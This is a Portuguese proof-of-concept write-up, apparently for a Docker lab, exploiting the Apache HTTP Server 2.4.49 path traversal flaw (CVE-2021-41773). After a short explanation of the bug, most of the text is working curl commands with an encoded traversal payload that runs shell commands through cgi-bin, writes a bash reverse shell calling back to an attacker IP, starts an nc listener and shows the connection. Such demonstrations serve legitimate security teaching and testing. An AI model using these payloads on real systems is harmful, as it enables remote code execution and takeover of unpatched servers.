
Exploit de prova de conceito para a vulnerabilidade de travessia de caminho do Apache HTTP Server 2.4.49 (CVE-2021-41773) com execução remota de código e demonstração de shell reverso.
Foi encontrada uma falha numa alteração feita na normalização de caminhos no Apache HTTP Server 2.4.49. Um atacante poderia usar um ataque de path traversal para mapear URLs para ficheiros fora dos diretórios configurados por diretivas do tipo Alias.
Se os ficheiros fora destes diretórios não estiverem protegidos pela configuração padrão habitual "require all denied", estes pedidos podem ser bem-sucedidos. Se os scripts CGI também estiverem ativados para estes caminhos com alias, isto pode permitir a execução remota de código.
Este problema é conhecido por ser explorado em ambiente real.
Este problema afeta apenas o Apache 2.4.49 e não versões anteriores.
Um ataque de path traversal (também conhecido como directory traversal) tem como objetivo aceder a ficheiros e diretórios armazenados fora da pasta raiz da web. Ao manipular variáveis que referenciam ficheiros com sequências “dot-dot-slash (../)” e suas variações ou usando caminhos de ficheiro absolutos, pode ser possível aceder a ficheiros e diretórios arbitrários armazenados no sistema de ficheiros, incluindo código fonte da aplicação ou ficheiros de configuração e críticos do sistema. Deve ser notado que o acesso aos ficheiros é limitado pelo controlo de acesso operacional do sistema (como no caso de ficheiros bloqueados ou em uso no sistema operativo Microsoft Windows).
Este ataque também é conhecido como “dot-dot-slash”, “directory traversal”, “directory climbing” e “backtracking”.
$ docker-compose build
$ docker-compose up
Confirmar que funciona
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
Vítima : localhost:1234
Atacante : 192.168.1.12
De acordo com a documentação, esta é uma falha que nos permite executar código remotamente (RCE).
Podemos explorá-la fazendo um curl com a pasta cgi-bin.
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. RCE
Vamos ver se realmente temos acesso a comandos, por exemplo id :
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. Reverse shell
Vamos testar uma reverse shell criando um ficheiro bash no servidor da vítima.
Usemos como exemplo a reverse shell em bash encontrada no repositório PayloadsAllTheThings.
Aqui está um exemplo :
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
Vamos criar o ficheiro vuln.sh na máquina da vítima na pasta /tmp/ !
Este ficheiro conterá a nossa reverse shell que podemos executar remotamente. Irá conectar-se à nossa máquina local na porta 44.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
Pode verificar o conteúdo do ficheiro com o comando cat
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. Listener com ncat
Vamos criar o listener na máquina local.
$ nc -lvnp 44
Resta apenas executar o ficheiro remoto.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
Resposta :
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.